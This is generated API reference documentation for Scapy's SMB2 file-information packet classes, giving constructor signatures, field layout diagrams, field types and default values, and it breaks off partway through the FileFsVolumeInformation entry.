class scapy.layers.smb2.FILE_BOTH_DIR_INFORMATION(_pkt, /, *, Next=None, FileIndex=0, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, EndOfFile=0, AllocationSize=4096, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, FileNameLength=None, EaSize=None, ShortNameLength=0, Reserved1=0, ShortName=b'', FileName=b'.\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L528-L566]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L565-L566]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FILEINDEX                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             EASIZE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SHORTNAMELENGTH|   RESERVED1   |           SHORTNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. FILE_BOTH_DIR_INFORMATION                  


FILE_BOTH_DIR_INFORMATION fields






	Next

	LEIntField

	None



	FileIndex

	LEIntField

	0



	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	EndOfFile

	LELongField

	0



	AllocationSize

	LELongField

	4096



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	FileNameLength

	FieldLenField

	None



	EaSize

	MultipleTypeField (LEIntEnumField, LEIntField)

	0



	ShortNameLength

	ByteField

	0



	Reserved1

	ByteField

	0



	ShortName

	StrFixedLenField

	b''



	FileName

	PadField

	b'.\x00'















	
class scapy.layers.smb2.FILE_FULL_DIR_INFORMATION(_pkt, /, *, Next=None, FileIndex=0, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, EndOfFile=0, AllocationSize=4096, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, FileNameLength=None, EaSize=None, FileName=b'.\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L595-L598]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FILEINDEX                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             EASIZE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. FILE_FULL_DIR_INFORMATION                  


FILE_FULL_DIR_INFORMATION fields






	Next

	LEIntField

	None



	FileIndex

	LEIntField

	0



	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	EndOfFile

	LELongField

	0



	AllocationSize

	LELongField

	4096



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	FileNameLength

	FieldLenField

	None



	EaSize

	MultipleTypeField (LEIntEnumField, LEIntField)

	0



	FileName

	PadField

	b'.\x00'















	
class scapy.layers.smb2.FILE_GET_QUOTA_INFORMATION(_pkt, /, *, NextEntryOffset=0, SidLength=None, Sid=b'', pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3619-L3631]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NEXTENTRYOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIDLENGTH           |              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. FILE_GET_QUOTA_INFORMATION                  


FILE_GET_QUOTA_INFORMATION fields






	NextEntryOffset

	IntField

	0



	SidLength

	FieldLenField

	None



	Sid

	StrLenField

	b''



	pad

	StrLenField

	b''















	
class scapy.layers.smb2.FILE_ID_BOTH_DIR_INFORMATION(_pkt, /, *, Next=None, FileIndex=0, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, EndOfFile=0, AllocationSize=4096, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, FileNameLength=None, EaSize=None, ShortNameLength=0, Reserved1=0, ShortName=b'', Reserved2=0, FileId=0, FileName=b'.\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L615-L623]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L622-L623]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FILEINDEX                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             EASIZE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SHORTNAMELENGTH|   RESERVED1   |           SHORTNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILEID                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. FILE_ID_BOTH_DIR_INFORMATION                 


FILE_ID_BOTH_DIR_INFORMATION fields






	Next

	LEIntField

	None



	FileIndex

	LEIntField

	0



	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	EndOfFile

	LELongField

	0



	AllocationSize

	LELongField

	4096



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	FileNameLength

	FieldLenField

	None



	EaSize

	MultipleTypeField (LEIntEnumField, LEIntField)

	0



	ShortNameLength

	ByteField

	0



	Reserved1

	ByteField

	0



	ShortName

	StrFixedLenField

	b''



	Reserved2

	LEShortField

	0



	FileId

	LELongField

	0



	FileName

	PadField

	b'.\x00'















	
class scapy.layers.smb2.FILE_NAME_INFORMATION(_pkt, /, *, FileNameLength=None, FileName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L370-L377]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L376-L377]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. FILE_NAME_INFORMATION                    


FILE_NAME_INFORMATION fields






	FileNameLength

	FieldLenField

	None



	FileName

	StrLenFieldUtf16

	b''















	
class scapy.layers.smb2.FILE_NOTIFY_INFORMATION(_pkt, /, *, NextEntryOffset=0, Action=0, FileNameLength=None, FileName=b'', pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1331-L1368]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1367-L1368]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NEXTENTRYOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ACTION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. FILE_NOTIFY_INFORMATION                   


FILE_NOTIFY_INFORMATION fields






	NextEntryOffset

	IntField

	0



	Action

	LEIntEnumField

	0



	FileNameLength

	FieldLenField

	None



	FileName

	StrLenFieldUtf16

	b''



	pad

	StrLenField

	b''















	
class scapy.layers.smb2.FileAccessInformation(_pkt, /, *, AccessFlags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L383-L389]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L388-L389]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACCESSFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. FileAccessInformation                    


FileAccessInformation fields






	AccessFlags

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.FileAlignmentInformation(_pkt, /, *, AccessFlags=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L395-L416]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L415-L416]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACCESSFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. FileAlignmentInformation                   


FileAlignmentInformation fields






	AccessFlags

	LEIntEnumField

	0















	
class scapy.layers.smb2.FileAllInformation(_pkt, /, *, BasicInformation=<FileBasicInformation  |>, StandardInformation=<FileStandardInformation  |>, InternalInformation=<FileInternalInformation  |>, EaInformation=<FileEaInformation  |>, AccessInformation=<FileAccessInformation  |>, PositionInformation=<FilePositionInformation  |>, ModeInformation=<FileModeInformation  |>, AlignmentInformation=<FileAlignmentInformation  |>, NameInformation=<FILE_NAME_INFORMATION  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1227-L1248]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        BASICINFORMATION       |      STANDARDINFORMATION      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      INTERNALINFORMATION      |         EAINFORMATION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ACCESSINFORMATION       |      POSITIONINFORMATION      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MODEINFORMATION        |      ALIGNMENTINFORMATION     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        NAMEINFORMATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. FileAllInformation                      


FileAllInformation fields






	BasicInformation

	PacketField

	<FileBasicInformation  |>



	StandardInformation

	PacketField

	<FileStandardInformation  |>



	InternalInformation

	PacketField

	<FileInternalInformation  |>



	EaInformation

	PacketField

	<FileEaInformation  |>



	AccessInformation

	PacketField

	<FileAccessInformation  |>



	PositionInformation

	PacketField

	<FilePositionInformation  |>



	ModeInformation

	PacketField

	<FileModeInformation  |>



	AlignmentInformation

	PacketField

	<FileAlignmentInformation  |>



	NameInformation

	PacketField

	<FILE_NAME_INFORMATION  |>















	
class scapy.layers.smb2.FileAlternateNameInformation(_pkt, /, *, FileNameLength=None, FileName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L422-L426]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILENAMELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. FileAlternateNameInformation                 


FileAlternateNameInformation fields






	FileNameLength

	FieldLenField

	None



	FileName

	StrLenFieldUtf16

	b''















	
class scapy.layers.smb2.FileBasicInformation(_pkt, /, *, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L432-L467]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L466-L467]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. FileBasicInformation                     


FileBasicInformation fields






	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	Reserved

	IntField

	0















	
class scapy.layers.smb2.FileBothDirectoryInformation(_pkt, /, *, files=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L581-L589]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. FileBothDirectoryInformation                 


FileBothDirectoryInformation fields






	files

	_NextPacketListField

	[]















	
class scapy.layers.smb2.FileEaInformation(_pkt, /, *, EaSize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L473-L479]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L478-L479]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             EASIZE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. FileEaInformation                      


FileEaInformation fields






	EaSize

	LEIntField

	0















	
class scapy.layers.smb2.FileFsAttributeInformation(_pkt, /, *, FileSystemAttributes=<Flag 13043455 (FILE_CASE_SENSITIVE_SEARCH+FILE_CASE_PRESERVED_NAMES+FILE_UNICODE_ON_DISK+FILE_PERSISTENT_ACLS+FILE_FILE_COMPRESSION+FILE_VOLUME_QUOTAS+FILE_SUPPORTS_SPARSE_FILES+FILE_SUPPORTS_REPARSE_POINTS+bit_9+bit_10+FILE_SUPPORTS_OBJECT_IDS+FILE_SUPPORTS_ENCRYPTION+FILE_NAMED_STREAMS+FILE_SUPPORTS_HARD_LINKS+FILE_SUPPORTS_EXTENDED_ATTRIBUTES)>, MaximumComponentNameLength=255, FileSystemNameLength=None, FileSystemName=b'N\x00T\x00F\x00S\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1254-L1293]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      FILESYSTEMATTRIBUTES                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   MAXIMUMCOMPONENTNAMELENGTH                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      FILESYSTEMNAMELENGTH                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         FILESYSTEMNAME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. FileFsAttributeInformation                  


FileFsAttributeInformation fields






	FileSystemAttributes

	FlagsField

	<Flag 13043455 (FILE_CASE_SENSITIVE_SEARCH+FILE_CASE_PRESERVED_NAMES+FILE_UNICODE_ON_DISK+FILE_PERSISTENT_ACLS+FILE_FILE_COMPRESSION+FILE_VOLUME_QUOTAS+FILE_SUPPORTS_SPARSE_FILES+FILE_SUPPORTS_REPARSE_POINTS+bit_9+bit_10+FILE_SUPPORTS_OBJECT_IDS+FILE_SUPPORTS_ENCRYPTION+FILE_NAMED_STREAMS+FILE_SUPPORTS_HARD_LINKS+FILE_SUPPORTS_EXTENDED_ATTRIBUTES)>



	MaximumComponentNameLength

	LEIntField

	255



	FileSystemNameLength

	FieldLenField

	None



	FileSystemName

	StrLenFieldUtf16

	b'N\x00T\x00F\x00S\x00'















	
class scapy.layers.smb2.FileFsSizeInformation(_pkt, /, *, TotalAllocationUnits=10485760, AvailableAllocationUnits=1048576, SectorsPerAllocationUnit=8, BytesPerSector=512)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1299-L1305]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      TOTALALLOCATIONUNITS                     |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    AVAILABLEALLOCATIONUNITS                   |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    SECTORSPERALLOCATIONUNIT                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         BYTESPERSECTOR                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. FileFsSizeInformation                    


FileFsSizeInformation fields






	TotalAllocationUnits

	LELongField

	10485760



	AvailableAllocationUnits

	LELongField

	1048576



	SectorsPerAllocationUnit

	LEIntField

	8



	BytesPerSector

	LEIntField

	512















	
class scapy.layers.smb2.FileFsVolumeInformation(_pkt, /, *, VolumeCreationTime=None, VolumeSerialNumber=0, VolumeLabelLength=0, SupportsObjects=1, Reserved=0, VolumeLabel=b'C\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1311-L1325]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
